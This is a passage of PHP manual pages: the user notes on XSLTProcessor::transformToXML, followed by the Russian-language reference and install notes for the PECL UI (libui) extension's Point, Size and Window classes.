    $xmldata = file_get_contents($filename);
    $xmldata = str_replace("&", "&amp;", $xmldata);  // disguise &s going IN to loadXML()
    $dom->substituteEntities = true;  // collapse &s going OUT to transformToXML()
    $dom->loadXML($xmldata);
    return $dom;
}

// Compare with  Example #1 Transforming to a string

// Load the XML sources
$xml = fileToDOMDoc('collection.xml');
$xsl = fileToDOMDoc('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl);

// transform $xml according to the stylesheet $xsl
echo $proc->transformToXML($xml); // transform the data
?>
michael dot weibel at tilllate dot com 03-Dec-2009 01:33
If you retrieve "false" from the transformToXML method, use libxml_get_last_error() or libxml_get_errors() to retrieve the errors.
Charlie Murder 29-Nov-2009 07:43
To prevent your xsl file from automatically prepending

<?xml version="1.0"?>

whilst keeping the output as xml, which is preferable for a validated strict xhtml file, rather specify output as

<xsl:output method="xml" omit-xml-declaration="yes" />
john 05-Feb-2008 11:09
If your xsl doesn't have <html> tags. The output will contain <?xml version="1.0"?>. To fix this you can add the following to your xsl stylesheet:

<xsl:output
method="html" />
smubldg4 at hotmail dot com 02-Oct-2007 08:58
How to fix:: *Fatal error: Call to undefined method domdocument::load()*

If you get this error, visit the php.ini file and try commenting out the following, like this:

;[PHP_DOMXML]
;extension=php_domxml.dll

Suddenly, the wonderfully simple example above works as advertised.
jeandenis dot boivin at gmail dot com 13-Mar-2007 04:59
$domTranObj = $xslProcessor->transformToDoc($domXmlObj);
$domHtmlText = $domTranObj->saveHTML();

Do fix the <meta> for valid XHTML but do not correctly end empty node like <br /> which ouput like this : <br></br>

Some browser note this as 2 different <br /> ...

To fix this use

$domTranObj = $xslProcessor->transformToDoc($domXmlObj);
$domHtmlText = $domTranObj->saveXML();
Thomas Praxl 22-Jan-2007 01:36
I noticed an incompatibility between libxslt (php4) and the transformation through XSLTProcessor.
Php5 and the XSLTProcessor seem to add implicit CDATA-Section-Elements.
If you have an xslt like

<script type="text/javascript">
foo('<xsl:value-of select="bar" />');
</script>

It will result in

<script type="text/javascript"><![CDATA[
foo('xpath-result-of-bar');
]]></script>

(at least for output method="xml" in order to produce strict xhtml with xslt1)

That brings up an error (at least) in Firefox 1.5 as it is no valid javascript.
It should look like that:

<script type="text/javascript">//<![CDATA[
foo('xpath-result-of-bar');
]]></script>

As the CDATA-Section is implicit, I was not able to disable the output or to put a '//' before it.

I tried everything about xsl:text disable-output-escaping="yes"

I also tried to disable implicit adding of CDATA with <output cdata-section-elements="" />
(I thought that would exclude script-tags. It didn't).

The solution:

<xsl:text disable-output-escaping="yes">&lt;script type="text/javascript"&gt;
  foo('</xsl:text><xsl:value-of select="bar" /><xsl:text disable-output-escaping="yes">');
            &lt;/script&gt;</xsl:text>

Simple, but it took me a while.
werner@mollentze 15-Aug-2006 01:53
The transformToXML function can produce valid XHTML output - it honours the <xsl:output> element's attributes, which defines the format of the output document.

For instance, if you want valid XHTML 1.0 Strict output, you can provide the following attribute values for the <xsl:output> element in your XSL stylesheet:

<xsl:output
method="xml"
doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"
doctype-public="-//W3C//DTD XHTML 1.0 Strict//EN" />
lsoethout at hotmail dot com 19-Feb-2006 02:35
The function transformToXML has a problem with the meta content type tag. It outputs it like this:

    <meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251">

which is not correct X(HT)ML, because it closes with '>' instead of with '/>'.

A way to get the output correct is to use instead of transformToXML first transformToDoc anf then saveHTML:

    $domTranObj = $xslProcessor->transformToDoc($domXmlObj);
    $domHtmlText = $domTranObj->saveHTML();
jlipps at mac 06-Jan-2005 08:05
transformToXML, if you have registered PHP functions previously, does indeed attempt to execute these functions when it finds them in a php:function() pseudo-XSL function. It even finds static functions within classes, for instance:

<xsl:value-of select="php:function('MyClass::MyFunction', string(@attr), string(.))" disable-output-escaping="yes"/>

However, in this situation transformToXML does not try to execute "MyClass::MyFunction()". Instead, it executes "myclass:myfunction()". In PHP, since classes and functions are (I think) case-insensitive, this causes no problems.

A problem arises when you are combining these features with the __autoload() feature. So, say I have MyClass.php which contains the MyFunction definition. Generally, if I call MyClass::MyFunction, PHP will pass "MyClass" to __autoload(), and __autoload() will open up "MyClass.php".

What we have just seen, however, means that transformToXML will pass "myclass" to __autoload(), not "MyClass", with the consequence that PHP will try to open "myclass.php", which doesn't exist, instead of "MyClass.php", which does. On case-insensitive operating systems, this is not significant, but on my RedHat server, it is--PHP will give a file not found error.

The only solution I have found is to edit the __autoload() function to look for class names which are used in my XSL files, and manually change them to the correct casing.

Another solution, obviously, is to use all-lowercase class and file names.


Модули для работы с GUI

  • UI
    • Введение
    • Установка и настройка
    • UI\Point — Представляет позицию (x,y)
    • UI\Size — Представляет размеры (ширина, высота)
    • UI\Window — Окно
    • UI\Control — Элемент управления
    • UI\Menu — Меню
    • UI\MenuItem — Элемент меню
    • UI\Area — Area
    • UI\Executor — Планировщик выполнения
    • UI\Controls\Tab — Элемент управления "Таб"
    • UI\Controls\Check — Элемент управления "Чекбокс"
    • UI\Controls\Button — Элемент управления "Кнопка"
    • UI\Controls\ColorButton — Элемент управления "Кнопка с палитрой цветов"
    • UI\Controls\Label — Элемент управления "Метка"
    • UI\Controls\Entry — Элемент управления "Ввод"
    • UI\Controls\MultilineEntry — Элемент управления "Многострочный ввод"
    • UI\Controls\Spin — Элемент управления "Спин"
    • UI\Controls\Slider — Элемент управления "Слайдер"
    • UI\Controls\Progress — Элемент управления "Ход выполнения"
    • UI\Controls\Separator — Элемент управления "Разделитель"
    • UI\Controls\Combo — Элемент управления "Комбо"
    • UI\Controls\EditableCombo — Редактируемый элемент управления "Комбо"
    • UI\Controls\Radio — Элемент управления "Радио"
    • UI\Controls\Picker — Элемент управления "Селектор"
    • UI\Controls\Form — Элемент управления "Форма" (расположение)
    • UI\Controls\Grid — Элемент управления "Сетка" (размещение)
    • UI\Controls\Group — Элемент управления "Группа" (размещение)
    • UI\Controls\Box — Блок управления (размещение)
    • UI\Draw\Pen — Рисование с помощью "Перо"
    • UI\Draw\Path — Путь рисования
    • UI\Draw\Matrix — Матрица рисования
    • UI\Draw\Color — Представление цвета
    • UI\Draw\Stroke — Рисование обводки
    • UI\Draw\Brush — Кисти
    • UI\Draw\Brush\Gradient — Градиентные кисти
    • UI\Draw\Brush\LinearGradient — Линейный градиент
    • UI\Draw\Brush\RadialGradient — Радиальный градиент
    • UI\Draw\Text\Layout — Представляет макет текста
    • UI\Draw\Text\Font — Представляет шрифт
    • UI\Draw\Text\Font\Descriptor — Дескриптор шрифта
    • Функции UI
    • UI\Draw\Text\Font\Weight — Настройки начертания шрифта
    • UI\Draw\Text\Font\Italic — Настройки курсивного шрифта
    • UI\Draw\Text\Font\Stretch — Настройки толщины шрифта
    • UI\Draw\Line\Cap — Настройки концов линий
    • UI\Draw\Line\Join — Настройки соединения линий
    • UI\Key — Ключевые идентификаторы
    • UI\Exception\InvalidArgumentException — InvalidArgumentException
    • UI\Exception\RuntimeException — RuntimeException

User Contributed Notes

There are no user contributed notes for this page.


UI

  • Введение
  • Установка и настройка
    • Требования
    • Установка
  • UI\Point — Представляет позицию (x,y)
    • UI\Point::at — Приведение Size
    • UI\Point::__construct — Создать новый объект Point
    • UI\Point::getX — Получает X
    • UI\Point::getY — Получить Y
    • UI\Point::setX — Установить X
    • UI\Point::setY — Установить Y
  • UI\Size — Представляет размеры (ширина, высота)
    • UI\Size::__construct — Создать новый объект Size
    • UI\Size::getHeight — Получает высоту
    • UI\Size::getWidth — Получает ширину
    • UI\Size::of — Приведение Point
    • UI\Size::setHeight — Установить высоту
    • UI\Size::setWidth — Установить ширину
  • UI\Window — Окно
    • UI\Window::add — Добавить элемент управления
    • UI\Window::__construct — Создать новый объект Window
    • UI\Window::error — Показать блок ошибки
    • UI\Window::getSize — Получить размер окна
    • UI\Window::getTitle — Получить заголовок
    • UI\Window::hasBorders — Определение рамки
    • UI\Window::hasMargin — Определение полей
    • UI\Window::isFullScreen — Определение полного экрана
    • UI\Window::msg — Показать блок сообщения
    • UI\Window::onClosing — Callback-функция закрытия
    • UI\Window::open — Открыть диалоговое окно
    • UI\Window::save — Сохранить диалоговое окно
    • UI\Window::setBorders — Использование рамок
    • UI\Window::setFullScreen — Использование полного экрана
    • UI\Window::setMargin — Использование поля
    • UI\Window::setSize — Установить размер
    • UI\Window::setTitle — Заголовок окна
  • UI\Control — Элемент управления
    • UI\Control::destroy — Уничтожить управляющий элемент
    • UI\Control::disable — Отключить управляющий элемент
    • UI\Control::enable — Включить управляющий элемент
    • UI\Control::getParent — Получить родительский управляющий элемент
    • UI\Control::getTopLevel — Получить верхний уровень
    • UI\Control::hide — Скрыть управляющий элемент
    • UI\Control::isEnabled — Определить, включён ли управляющий элемент
    • UI\Control::isVisible — Определить, видимый ли управляющий элемент
    • UI\Control::setParent — Установить родительский управляющий элемент
    • UI\Control::show — Показать управляющий элемент
  • UI\Menu — Меню
    • UI\Menu::append — Добавить пункт меню
    • UI\Menu::appendAbout — Добавить пункт меню About
    • UI\Menu::appendCheck — Добавить пункт меню с чекбоксом
    • UI\Menu::appendPreferences — Добавить пункт меню "Настройки" (Preferences)
    • UI\Menu::appendQuit — Добавить пункт меню "Выход" (Quit)
    • UI\Menu::appendSeparator — Добавить пункт меню "Разделитель" (Separator)
    • UI\Menu::__construct — Создать новый объект Menu
  • UI\MenuItem — Элемент меню
    • UI\MenuItem::disable — Отключить пункт меню
    • UI\MenuItem::enable — Включить пункт меню
    • UI\MenuItem::isChecked — Определение выбранности пункта
    • UI\MenuItem::onClick — Обработчик нажатия
    • UI\MenuItem::setChecked — Выбрать пункт меню
  • UI\Area — Area
    • UI\Area::onDraw — Функция обратного вызова при рисовании
    • UI\Area::onKey — Функция обратного вызова при нажатии
    • UI\Area::onMouse — Функция обратного вызова мыши
    • UI\Area::redraw — Перерисовать область
    • UI\Area::scrollTo — Прокрутить область
    • UI\Area::setSize — Установить размер
  • UI\Executor — Планировщик выполнения
    • UI\Executor::__construct — Создать новый объект Executor
    • UI\Executor::kill — Остановить исполнитель
    • UI\Executor::onExecute — Callback-функция выполнения
    • UI\Executor::setInterval — Управление интервалом
  • UI\Controls\Tab — Элемент управления "Таб"
    • UI\Controls\Tab::append — Добавить страницу
    • UI\Controls\Tab::delete — Удалить страницу
    • UI\Controls\Tab::hasMargin — Определения поля
    • UI\Controls\Tab::insertAt — Вставить страницу
    • UI\Controls\Tab::pages — Количество страниц
    • UI\Controls\Tab::setMargin — Установить поле
  • UI\Controls\Check — Элемент управления "Чекбокс"
    • UI\Controls\Check::__construct — Создать новый объект Check
    • UI\Controls\Check::getText — Получить текст
    • UI\Controls\Check::isChecked — Определение отметки
    • UI\Controls\Check::onToggle — Функция обратного вызова переключения
    • UI\Controls\Check::setChecked — Установить статус выбранности
    • UI\Controls\Check::setText — Установить текст
  • UI\Controls\Button — Элемент управления "Кнопка"
    • UI\Controls\Button::__construct — Создать новый объект Button
    • UI\Controls\Button::getText — Получить текст
    • UI\Controls\Button::onClick — Обработчик клика
    • UI\Controls\Button::setText — Установить текст
  • UI\Controls\ColorButton — Элемент управления "Кнопка с палитрой цветов"
    • UI\Controls\ColorButton::getColor — Получить объект Color
    • UI\Controls\ColorButton::onChange — Обработчик изменения
    • UI\Controls\ColorButton::setColor — Установить объект Color
  • UI\Controls\Label — Элемент управления "Метка"
    • UI\Controls\Label::__construct — Создать новый объект Label
    • UI\Controls\Label::getText — Получить текст
    • UI\Controls\Label::setText — Установить текст
  • UI\Controls\Entry — Элемент управления "Ввод"
    • UI\Controls\Entry::__construct — Создать новый объект Entry
    • UI\Controls\Entry::getText — Получить текст
    • UI\Controls\Entry::isReadOnly — Определить, является ли элемент только для чтения
    • UI\Controls\Entry::onChange — Обработчик изменения
    • UI\Controls\Entry::setReadOnly — Установить "только для чтения"
    • UI\Controls\Entry::setText — Установить текст
  • UI\Controls\MultilineEntry — Элемент управления "Многострочный ввод"
    • UI\Controls\MultilineEntry::append — Добавить текст
    • UI\Controls\MultilineEntry::__construct — Создать новый объект "Многострочный ввод"
    • UI\Controls\MultilineEntry::getText — Получить текст
    • UI\Controls\MultilineEntry::isReadOnly — Определение "только для чтения"
    • UI\Controls\MultilineEntry::onChange — Обработчик изменения
    • UI\Controls\MultilineEntry::setReadOnly — Установить "только для чтения"
    • UI\Controls\MultilineEntry::setText — Установить текст
  • UI\Controls\Spin — Элемент управления "Спин"
    • UI\Controls\Spin::__construct — Создаёт новый объект Spin
    • UI\Controls\Spin::getValue — Получить значение
    • UI\Controls\Spin::onChange — Обработчик изменения
    • UI\Controls\Spin::setValue — Установить значение
  • UI\Controls\Slider — Элемент управления "Слайдер"
    • UI\Controls\Slider::__construct — Создаёт новый объект Slider
    • UI\Controls\Slider::getValue — Получить значение
    • UI\Controls\Slider::onChange — Обработчик изменения
    • UI\Controls\Slider::setValue — Установить значение
  • UI\Controls\Progress — Элемент управления "Ход выполнения"
    • UI\Controls\Progress::getValue — Получить значение
    • UI\Controls\Progress::setValue — Установить значение
  • UI\Controls\Separator — Элемент управления "Разделитель"
    • UI\Controls\Separator::__construct — Создать новый объект Separator
  • UI\Controls\Combo — Элемент управления "Комбо"
    • UI\Controls\Combo::append — Добавить опцию
    • UI\Controls\Combo::getSelected — Получить выбранную опцию
    • UI\Controls\Combo::onSelected — Обработчик выбранной опции
    • UI\Controls\Combo::setSelected — Устанавливает выбранную опцию
  • UI\Controls\EditableCombo — Редактируемый элемент управления "Комбо"
    • UI\Controls\EditableCombo::append — Добавить опцию
    • UI\Controls\EditableCombo::getText — Получить текст
    • UI\Controls\EditableCombo::onChange — Обработчик изменения
    • UI\Controls\EditableCombo::setText — Установить текст
  • UI\Controls\Radio — Элемент управления "Радио"
    • UI\Controls\Radio::append — Добавляет вариант
    • UI\Controls\Radio::getSelected — Получить выбранный вариант
    • UI\Controls\Radio::onSelected — Обработчик выбора
    • UI\Controls\Radio::setSelected — Установить выбранный вариант
  • UI\Controls\Picker — Элемент управления "Селектор"
    • UI\Controls\Picker::__construct — Создаёт новый объект Picker
  • UI\Controls\Form — Элемент управления "Форма" (расположение)
    • UI\Controls\Form::append — Добавить управляющий элемент
    • UI\Controls\Form::delete — Удалить элемент управления
    • UI\Controls\Form::isPadded — Определение заполнения
    • UI\Controls\Form::setPadded — Установить заполнение
  • UI\Controls\Grid — Элемент управления "Сетка" (размещение)
    • UI\Controls\Grid::append — Добавить управляющий элемент
    • UI\Controls\Grid::isPadded — Определение заполнения
    • UI\Controls\Grid::setPadded — Установить заполнение
  • UI\Controls\Group — Элемент управления "Группа" (размещение)
    • UI\Controls\Group::append — Добавить управляющий элемент
    • UI\Controls\Group::__construct — Создать новый объект Group
    • UI\Controls\Group::getTitle — Получить заголовок
    • UI\Controls\Group::hasMargin — Определение поля
    • UI\Controls\Group::setMargin — Установить поле
    • UI\Controls\Group::setTitle — Установить заголовок
  • UI\Controls\Box — Блок управления (размещение)
    • UI\Controls\Box::append — Добавить управляющий элемент
    • UI\Controls\Box::__construct — Создать новый объект Box
    • UI\Controls\Box::delete — Удалить управляющий элемент
    • UI\Controls\Box::getOrientation — Получить ориентацию
    • UI\Controls\Box::isPadded — Определение заполнения
    • UI\Controls\Box::setPadded — Установить заполнение
  • UI\Draw\Pen — Рисование с помощью "Перо"
    • UI\Draw\Pen::clip — Обрезать путь
    • UI\Draw\Pen::fill — Залить путь
    • UI\Draw\Pen::restore — Восстановить
    • UI\Draw\Pen::save — Сохранить
    • UI\Draw\Pen::stroke — Обвести путь
    • UI\Draw\Pen::transform — Преобразовывает матрицу
    • UI\Draw\Pen::write — Нарисовать текст в точке
  • UI\Draw\Path — Путь рисования
    • UI\Draw\Path::addRectangle — Нарисовать прямоугольник
    • UI\Draw\Path::arcTo — Нарисовать дугу
    • UI\Draw\Path::bezierTo — Нарисовать кривую Безье
    • UI\Draw\Path::closeFigure — Закрыть фигуру
    • UI\Draw\Path::__construct — Создать новый объект Path
    • UI\Draw\Path::end — Завершить путь
    • UI\Draw\Path::lineTo — Нарисовать линию
    • UI\Draw\Path::newFigure — Нарисовать фигуру
    • UI\Draw\Path::newFigureWithArc — Нарисовать фигуру с дугой
  • UI\Draw\Matrix — Матрица рисования
    • UI\Draw\Matrix::invert — Инвертировать матрицу
    • UI\Draw\Matrix::isInvertible — Определение, инвертирована ли матрица
    • UI\Draw\Matrix::multiply — Умножить матрицу
    • UI\Draw\Matrix::rotate — Перевернуть матрицу
    • UI\Draw\Matrix::scale — Масштабировать матрицу
    • UI\Draw\Matrix::skew — Наклонить матрицу
    • UI\Draw\Matrix::translate — Перевести матрицу
  • UI\Draw\Color — Представление цвета
    • UI\Draw\Color::__construct — Создать новый объект Color
    • UI\Draw\Color::getChannel — Управление цветом
    • UI\Draw\Color::setChannel — Управление цветом
  • UI\Draw\Stroke — Рисование обводки
    • UI\Draw\Stroke::__construct — Создать новый объект Stroke
    • UI\Draw\Stroke::getCap — Получить конец линии
    • UI\Draw\Stroke::getJoin — Получить соединение линии
    • UI\Draw\Stroke::getMiterLimit — Получить предел среза
    • UI\Draw\Stroke::getThickness — Получить толщину
    • UI\Draw\Stroke::setCap — Установить конец линии
    • UI\Draw\Stroke::setJoin — Получить соединение линии
    • UI\Draw\Stroke::setMiterLimit — Установить предел среза
    • UI\Draw\Stroke::setThickness — Установить толщину
  • UI\Draw\Brush — Кисти
    • UI\Draw\Brush::__construct — Создать новый объект Brush
    • UI\Draw\Brush::getColor — Получить цвет
    • UI\Draw\Brush::setColor — Установить цвет
  • UI\Draw\Brush\Gradient — Градиентные кисти
    • UI\Draw\Brush\Gradient::addStop — Добавляет узел градиента
    • UI\Draw\Brush\Gradient::delStop — Удаляет узел градиента
    • UI\Draw\Brush\Gradient::setStop — Устанавливает узел градиента
  • UI\Draw\Brush\LinearGradient — Линейный градиент
    • UI\Draw\Brush\LinearGradient::__construct — Конструктор класса LinearGradient
  • UI\Draw\Brush\RadialGradient — Радиальный градиент
    • UI\Draw\Brush\RadialGradient::__construct — Конструктор класса RadialGradient
  • UI\Draw\Text\Layout — Представляет макет текста
    • UI\Draw\Text\Layout::__construct — Создать новый объект макета текста
    • UI\Draw\Text\Layout::setColor — Установить цвет
    • UI\Draw\Text\Layout::setWidth — Установить ширину
  • UI\Draw\Text\Font — Представляет шрифт
    • UI\Draw\Text\Font::__construct — Создать новый объект Font
    • UI\Draw\Text\Font::getAscent — Показатели шрифта
    • UI\Draw\Text\Font::getDescent — Показатели шрифта
    • UI\Draw\Text\Font::getLeading — Показатели шрифта
    • UI\Draw\Text\Font::getUnderlinePosition — Показатели шрифта
    • UI\Draw\Text\Font::getUnderlineThickness — Показатели шрифта
  • UI\Draw\Text\Font\Descriptor — Дескриптор шрифта
    • UI\Draw\Text\Font\Descriptor::__construct — Конструктор класса Font Descriptor
    • UI\Draw\Text\Font\Descriptor::getFamily — Получает семейство шрифтов
    • UI\Draw\Text\Font\Descriptor::getItalic — Определение стиля
    • UI\Draw\Text\Font\Descriptor::getSize — Определение размера
    • UI\Draw\Text\Font\Descriptor::getStretch — Определение стиля
    • UI\Draw\Text\Font\Descriptor::getWeight — Определение насыщенности
  • Функции UI
    • UI\Draw\Text\Font\fontFamilies — Извлечь семейство шрифтов
    • UI\quit — Выйти из цикла UI
    • UI\run — Войти в цикл UI
  • UI\Draw\Text\Font\Weight — Настройки начертания шрифта
  • UI\Draw\Text\Font\Italic — Настройки курсивного шрифта
  • UI\Draw\Text\Font\Stretch — Настройки толщины шрифта
  • UI\Draw\Line\Cap — Настройки концов линий
  • UI\Draw\Line\Join — Настройки соединения линий
  • UI\Key — Ключевые идентификаторы
  • UI\Exception\InvalidArgumentException — InvalidArgumentException
  • UI\Exception\RuntimeException — RuntimeException

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль является обёрткой над libui и предоставляет объектно-ориентированное API для кроссплатформенной разработки нативных look-and-feel пользовательских интерфейсов.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка

User Contributed Notes

shevegen at gmail dot com 14-Feb-2021 09:01
I believe this example is not correct; for example it shows "cmake" in
use but after you git clone the above URL, there are no cmake files.

So this can not possibly have worked; and I actually don't think there
ever was cmake used in the above repository, which makes you wonder
why the above code used cmake to begin with. Did it ever work? I am not sure;
I tend to assume it did not work.
whirlwind110 at 163 dot com 18-Apr-2017 04:04
Requirements:
    PHP 7
    libui (use current master)
    Windows/MacOSX/Linux (GTK-3)

Install re2c:
    sudo apt install re2c

Install libui:

    git clone https://github.com/andlabs/libui.git
    cd libui
    sudo cp *.h /usr/local/include/
    cmake .
    cd out
    sudo cp * /usr/lib/

Install ui:

    Method one: use pecl:
        sudo pecl install channel://pecl.php.net/ui-2.0.0

    Method two:build source code:
        git clone https://github.com/krakjoe/ui.git
        cd ui
        phpize
        make
        sudo make install

Enable ui.so:
    sudo echo 'extension=ui.so' > /etc/php/7.0/mods-available/ui.ini
    sudo ln -s /etc/php/7.0/mods-available/ui.ini 20-ui.ini

Test:
    php -m
    git clone https://github.com/krakjoe/ui.git
    cd ui/examples/
    php snake.php


Требования

Для установки требуется библиотека libui и PHP 7 или новее.

Модуль требует установленной » библиотеки libui версии 0.1 и выше и PHP версии 7.0 и выше. Смотрите документацию по libui для инструкций по установке.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/ui.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

There are no user contributed notes for this page.


Представляет позицию (x,y)

(UI 0.9.9)

Введение

Точки используются во всем пользовательском интерфейсе для представления координат на экране, управляющем элементе или области.

Обзор классов

final class UI\Point {
/* Свойства */
public $x;
public $y;
/* Конструктор */
public __construct(float $x, float $y)
/* Методы */
public static at(float $point): UI\Point
public static at(UI\Size $size): UI\Point
public getX(): float
public getY(): float
public setX(float $point)
public setY(float $point)
}

Свойства

x

Содержит координату X, может быть прочитана/записана напрямую

y

Содержит координату Y, может быть прочитана/записана напрямую

Содержание

  • UI\Point::at — Приведение Size
  • UI\Point::__construct — Создать новый объект Point
  • UI\Point::getX — Получает X
  • UI\Point::getY — Получить Y
  • UI\Point::setX — Установить X
  • UI\Point::setY — Установить Y

User Contributed Notes

There are no user contributed notes for this page.


Приведение Size

  • « UI\Point
  • UI\Point::__construct »
  • PHP Manual
  • UI\Point
  • Приведение Size

UI\Point::at

(UI 1.0.2)

UI\Point::at — Приведение Size

Описание

public static UI\Point::at(float $point): UI\Point
public static UI\Point::at(UI\Size $size): UI\Point

Должен вернуть объект UI\Point с координатами x и y, заданными в виде числа с плавающей точкой либо в виде объекта UI\Size.

Список параметров

point

Значение для x и y

size

Объект класса Size для конвертации

Возвращаемые значения

Объект класса Point

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Point

  • « UI\Point::at
  • UI\Point::getX »
  • PHP Manual
  • UI\Point
  • Создать новый объект Point

UI\Point::__construct

(UI 0.9.9)

UI\Point::__construct — Создать новый объект Point

Описание

public UI\Point::__construct(float $x, float $y)

Создать новый объект Point, используя новые координаты

Список параметров

x

Новая X-координата

y

Новая Y-координата

User Contributed Notes

There are no user contributed notes for this page.


Получает X

  • « UI\Point::__construct
  • UI\Point::getY »
  • PHP Manual
  • UI\Point
  • Получает X

UI\Point::getX

(UI 0.9.9)

UI\Point::getX — Получает X

Описание

public UI\Point::getX(): float

Получает X-координату

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая X-координата

User Contributed Notes

There are no user contributed notes for this page.


Получить Y

  • « UI\Point::getX
  • UI\Point::setX »
  • PHP Manual
  • UI\Point
  • Получить Y

UI\Point::getY

(UI 0.9.9)

UI\Point::getY — Получить Y

Описание

public UI\Point::getY(): float

Получает Y-координату

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая Y-координата

User Contributed Notes

There are no user contributed notes for this page.


Установить X

  • « UI\Point::getY
  • UI\Point::setY »
  • PHP Manual
  • UI\Point
  • Установить X

UI\Point::setX

(UI 0.9.9)

UI\Point::setX — Установить X

Описание

public UI\Point::setX(float $point)

Установить X-координата

Список параметров

point

Новая X-координата

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить Y

  • « UI\Point::setX
  • UI\Size »
  • PHP Manual
  • UI\Point
  • Установить Y

UI\Point::setY

(UI 0.9.9)

UI\Point::setY — Установить Y

Описание

public UI\Point::setY(float $point)

Установить Y-координату

Список параметров

point

Новая Y-координата

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Представляет размеры (ширина, высота)

(UI 0.9.9)

Введение

Размеры используются в пользовательском интерфейсе для представления размера экрана, управляющего элемента или области.

Обзор классов

final class UI\Size {
/* Свойства */
public $width;
public $height;
/* Конструктор */
public __construct(float $width, float $height)
/* Методы */
public getHeight(): float
public getWidth(): float
public static of(float $size): UI\Size
public static of(UI\Point $point): UI\Size
public setHeight(float $size)
public setWidth(float $size)
}

Свойства

width

Содержит ширину, может быть прочитана/записана напрямую

height

Содержит высоту, может быть прочитана/записана напрямую

Содержание

  • UI\Size::__construct — Создать новый объект Size
  • UI\Size::getHeight — Получает высоту
  • UI\Size::getWidth — Получает ширину
  • UI\Size::of — Приведение Point
  • UI\Size::setHeight — Установить высоту
  • UI\Size::setWidth — Установить ширину

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Size

  • « UI\Size
  • UI\Size::getHeight »
  • PHP Manual
  • UI\Size
  • Создать новый объект Size

UI\Size::__construct

(UI 0.9.9)

UI\Size::__construct — Создать новый объект Size

Описание

public UI\Size::__construct(float $width, float $height)

Создать новый объект Size, используя новые ширину и высоту

Список параметров

width

Новая ширина

height

Новая высота

User Contributed Notes

There are no user contributed notes for this page.


Получает высоту

  • « UI\Size::__construct
  • UI\Size::getWidth »
  • PHP Manual
  • UI\Size
  • Получает высоту

UI\Size::getHeight

(UI 0.9.9)

UI\Size::getHeight — Получает высоту

Описание

public UI\Size::getHeight(): float

Получает высоту

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая высота

User Contributed Notes

There are no user contributed notes for this page.


Получает ширину

  • « UI\Size::getHeight
  • UI\Size::of »
  • PHP Manual
  • UI\Size
  • Получает ширину

UI\Size::getWidth

(UI 0.9.9)

UI\Size::getWidth — Получает ширину

Описание

public UI\Size::getWidth(): float

Получает ширину

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая ширина

User Contributed Notes

There are no user contributed notes for this page.


Приведение Point

  • « UI\Size::getWidth
  • UI\Size::setHeight »
  • PHP Manual
  • UI\Size
  • Приведение Point

UI\Size::of

(UI 1.0.2)

UI\Size::of — Приведение Point

Описание

public static UI\Size::of(float $size): UI\Size
public static UI\Size::of(UI\Point $point): UI\Size

Должен вернуть объект UI\Size с заданными в виде числа с плавающей запятой или в виде объекта UI\Point шириной и высотой

Список параметров

size

Значение для ширины и высоты

point

Объект Point для конвертации

Возвращаемые значения

Объект класса Size

User Contributed Notes

There are no user contributed notes for this page.


Установить высоту

  • « UI\Size::of
  • UI\Size::setWidth »
  • PHP Manual
  • UI\Size
  • Установить высоту

UI\Size::setHeight

(UI 0.9.9)

UI\Size::setHeight — Установить высоту

Описание

public UI\Size::setHeight(float $size)

Установить новую высоту

Список параметров

size

Новая высота

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить ширину

  • « UI\Size::setHeight
  • UI\Window »
  • PHP Manual
  • UI\Size
  • Установить ширину

UI\Size::setWidth

(UI 0.9.9)

UI\Size::setWidth — Установить ширину

Описание

public UI\Size::setWidth(float $size)

Установить новую ширину

Список параметров

size

Новая ширина

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Окно

(UI 0.9.9)

Введение

Представляет пользовательский интерфейс окна

Обзор классов

class UI\Window extends UI\Control {
/* Свойства */
protected $controls;
/* Конструктор */
public __construct(string $title, Size $size, bool $menu = false)
/* Методы */
public add(UI\Control $control)
public error(string $title, string $msg)
public getSize(): UI\Size
public getTitle(): string
public hasBorders(): bool
public hasMargin(): bool
public isFullScreen(): bool
public msg(string $title, string $msg)
protected onClosing(): int
public open(): string
public save(): string
public setBorders(bool $borders)
public setFullScreen(bool $full)
public setMargin(bool $margin)
public setSize(UI\Size $size)
public setTitle(string $title)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Свойства

controls

Содержит элементы управления, не следует использовать напрямую

Содержание

  • UI\Window::add — Добавить элемент управления
  • UI\Window::__construct — Создать новый объект Window
  • UI\Window::error — Показать блок ошибки
  • UI\Window::getSize — Получить размер окна
  • UI\Window::getTitle — Получить заголовок
  • UI\Window::hasBorders — Определение рамки
  • UI\Window::hasMargin — Определение полей
  • UI\Window::isFullScreen — Определение полного экрана
  • UI\Window::msg — Показать блок сообщения
  • UI\Window::onClosing — Callback-функция закрытия
  • UI\Window::open — Открыть диалоговое окно
  • UI\Window::save — Сохранить диалоговое окно
  • UI\Window::setBorders — Использование рамок
  • UI\Window::setFullScreen — Использование полного экрана
  • UI\Window::setMargin — Использование поля
  • UI\Window::setSize — Установить размер
  • UI\Window::setTitle — Заголовок окна

User Contributed Notes

everton3x at gmail dot com 03-Feb-2017 12:58
This is a example to wizard layout in UI library:

<?php

/*
